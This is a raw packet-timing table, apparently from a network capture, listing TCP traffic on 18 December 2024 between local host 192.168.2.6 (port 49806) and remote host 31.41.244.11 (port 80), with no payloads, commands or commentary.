Dec 18, 2024 11:47:15.788594961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.788630009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.789622068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.789663076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.789695978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.789730072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.790803909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.790847063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.790858030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.790889978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.791954994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.792001009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.792041063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.792083025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.793142080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.793203115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.793669939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.793718100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.794300079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.794337988 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.794652939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.794693947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.795633078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.795675039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.795727968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.795773029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.796852112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.796895981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.796897888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.796937943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.797847033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.797899008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.797902107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.797934055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.798985004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.799031019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.799288034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.799331903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.800147057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.800193071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.800261021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.800299883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.801357985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.801398993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.801409006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.801455975 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.802463055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.802509069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.803144932 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.803189039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.803684950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.803738117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.804233074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.804277897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.805052996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.805095911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.805175066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.805217028 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.806046963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.806102991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.806653976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.806701899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.807193041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.807240963 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.807374001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.807414055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.808324099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.808370113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.808521986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.808572054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.809561014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.809612989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.809633017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.809675932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.810694933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.810744047 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.810810089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.810853004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.811916113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.811966896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.812027931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.812072039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.813066959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.813116074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.813225985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.813270092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.814217091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.814261913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.814693928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.814739943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.815432072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.815478086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.815859079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.815900087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.816559076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.816605091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.816901922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.816952944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.817717075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.817760944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.817914963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.817959070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.818922043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.818969011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.819005013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.819047928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.948775053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.949104071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.949224949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.949377060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.949389935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.949433088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.951082945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.951292992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.951332092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.952238083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.952286959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.953386068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.953711987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.953752041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.953896999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.954200029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.954200983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.954418898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.954468966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.955152035 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.955517054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.955626965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.956199884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.956250906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.956285954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.957436085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.957492113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.957573891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.958199978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.958849907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.959131002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.959183931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.959906101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.960000992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.960055113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.961035013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.961085081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.961111069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.961524963 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.962074995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.962279081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.962285995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.962435007 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.963191986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.963258982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.963453054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.963509083 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.964411974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.964474916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.964941025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.964993954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.965595961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.965909004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.965948105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.966021061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.966747046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.966801882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.966833115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.966877937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.968105078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.968159914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.968166113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.968195915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.969254971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.969321966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.969760895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.969927073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.970670938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.970730066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.971055984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.971292973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.971590042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.971642971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.971723080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.971769094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.972661972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.972675085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.972722054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.973903894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.973961115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.974142075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.974195957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.974945068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.975001097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.975287914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.975339890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.976181984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.976232052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.976257086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.976309061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.977252960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.977718115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.977777004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.978543997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.978713036 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.978766918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.979650021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.979700089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.979728937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.980839014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.980892897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.980916977 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.982038975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.982089043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.982207060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.983266115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.983283043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.983320951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.983344078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.984314919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.984371901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.984724045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.984772921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.985471964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.985522985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.985698938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.985743046 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.986927032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.986975908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.987029076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.987904072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.987947941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.987994909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.988986969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.989201069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.989249945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.990187883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.990235090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.990410089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.991365910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.991411924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.991481066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.992507935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.992559910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.992594004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.992636919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.993727922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.994216919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.994966984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.994981050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.994997978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.995039940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.995080948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.996022940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.996078014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.996500015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.997209072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.997257948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.997286081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.998199940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.998369932 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.998847008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.998894930 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.999592066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.999919891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.999967098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.000798941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.000889063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.000938892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.001888037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.001938105 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.002563953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.003051996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.003098011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.003222942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.004219055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.004268885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.004357100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.004401922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.005508900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.005767107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.005815983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.006609917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.006719112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.006769896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.007726908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.007770061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.008057117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.008145094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.008910894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.009396076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.009444952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.010072947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.010119915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.010166883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.142720938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.142879009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.143049002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.143244028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.144072056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.144130945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.144454002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.144468069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.144505978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.145692110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.146003962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.146051884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.146064997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.146090031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.147114038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.147844076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.147901058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.148349047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.148422003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.148467064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.149451017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.149502039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.150675058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.150686979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.150717020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.150739908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.150753975 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.151912928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.152059078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.152101994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.152972937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.153057098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.153105021 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.154131889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.154197931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.154263020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.154510021 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.155335903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.155396938 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.155572891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.155622005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.156502962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.156567097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.156734943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.156889915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.157655954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.157852888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.157855034 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.157896996 CET	49806	80	192.168.2.6	31.41.244.11
